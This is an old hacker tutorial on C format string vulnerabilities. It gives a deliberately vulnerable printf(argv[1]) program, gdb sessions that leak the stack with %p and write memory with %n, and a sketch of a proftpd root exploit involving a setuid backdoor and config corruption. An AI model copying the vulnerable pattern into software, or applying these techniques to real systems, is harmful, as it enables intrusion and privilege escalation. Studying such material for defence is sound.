|
Format Bugs: What are they, Where did they come from,...... ...How to exploit them by lamagra <lamagra@digibel.org> -------> What are they The concept is quite simple: when a *printf() function (eg. printf(char *fmt,...)) is called and fmt is user-supplied. The user can put in formatstrings %s %p %x in the fmt. *printf will then "convert" them with the supplied arguments. Problem is *printf() doesn't know where it's arguments stop. When a new formatstrings it just reads the next thing on the stack. Lets have a look at an example. <++> ptest.c #include <stdarg.h> blaat(char *fmt,...) { va_list va; int i; char *addr; va_start(va,fmt); printf("---| begin |---\n"); for(i = 0;i < 5;i++) { addr = va_arg(va,char *); printf("%p\n",addr); } printf("---| end |---\n"); va_end(va); } main(int argc,char **argv) { char buf[8]; char *prot = (char *)0x12345678; strncpy(buf,argv[1],8); blaat(argv[1]); printf(argv[1]); putchar('\n'); } <--> darkstar:/tmp/temp# gcc ptest.c -optest darkstar:/tmp/temp# ptest blaat ---| begin |--- 0x12345678 0x61616c62 0xbfff0074 0xbffffb24 0x804855e ---| end |--- blaat A simple argument makes it print the 5 things on the top of the stack before the call to blaat(). You can see 0x12345678 which is the content of 'prot' and the content of buf namely our argument. The output of printf() is just our argument. Now lets run it again with some formatstrings in the argument, I use %p since it doesn't crash the program. darkstar:/tmp/temp# ptest AAAA%p ---| begin |--- 0x12345678 0x41414141 0xbf007025 0xbffffb24 0x804855e ---| end |--- AAAA0x12345678 Now the output of printf() is quite interesting. It prints 4 times 'A' and the %p is replaced by the address on top of the stack. When you'd add more %p's to the argument you'll see every other element on the stack gets printed. ------> How to exploit them? First thing to do is, check out the other kinds of formatstrings: %c, %f, %d, %s, %p, %i, %n, etc %n is probably the most interesting, it writes the number of bytes printed to the location pointed to by it's argument. simple example: int q; printf("AAAA%n",&q); q = 4 after that As we've seen from our previous tests, our argument copied into buf, is on the stack aswell. What if we replaced the AAAA with a valid address and then wrote to that address using %n. Lets see darkstar:/tmp/temp# gdb --exec=a.out --symbols=ptest GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-slackware-linux"... (gdb) r Starting program: /tmp/temp/a.out Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x8048090 in ___crt_dummy__ () (gdb) break *main+60 Breakpoint 1 at 0x804821c: file ptest.c, line 30. (gdb) break *main+65 Breakpoint 2 at 0x8048221: file ptest.c, line 30. (gdb) c Continuing. ---| begin |--- 0x12345678 0xbffffb10 0x6e257025 0xbffffb00 0x80480ee ---| end |--- Breakpoint 1, 0x804821c in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x00000000 (gdb) c Continuing. Breakpoint 2, 0x8048221 in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x0000000e (gdb) c Continuing. û ¿0x12345678 Program exited with code 012. (gdb) q darkstar:/tmp/temp# a.out is a simple program that executes ptest with \x10\xfb\xff\xbf%p%n as argument, as you can see %p prints the first address and %n writes to 0xbfffb10. Pretty neat eh, I think it is. What can I do with this, you ask. Well you can overwrite anything inside the program (except regions mapped PROT_WRITE like .text). This can be many things In my proftpd exploit I chose for the saved uid and part of the configs in mem. The daemon relinquishes rootpriviledges for opening a dataconnection (on LIST,RETR,etc) after that it changes back to the old uid (saved in mem). The general idea was to zero that uid, open a dataconnection and up with root priviledges inside proftpd. With local access this is enough, you upload a backdoor and CHMOD 4755 (-rwsr-xr-x) proftp allows suidsgid flags unlike wuftpd. But with anonymous access, you couldn't write to disk because of the configuration. Simple thing to do is, corrupt the configuration. In this case corrupt the 'DenyAll' setting. Other things to do are eg. change the last byte of a stackpointer, data in memory. and lots more. An interesting thing in the new glibc version is that for example %<long number>d works even with snprintf(), on older glibc's it just crashes. *- note -* "%.5d",5 outputs 00005 "%.200000d" outputs 200000 bytes *- note -* With this advantage you could also change <saved %eip>, function pointers, jmp_buf's etc etc All this is very nice, but it can get really hard sometimes. Some sort of userdefined string has to be somewhere on the stack when the function is called. This requires some fiddling and some stackbacktracing. Sometimes you have to go back a few functions before a buffer is in reach. Conclusion: these bugs are big, sometimes.... This concludes this small introduction into format bugs. If you want to play some more with this kind of bugs, fiddle a bit with the ptest program. And maybe try exploiting the ftp program on bsd, linux, windows... it has this sort of hole in the QUOTE command. This isn't a big thing but nice to play with. ------> The end http://lamagra.seKure.de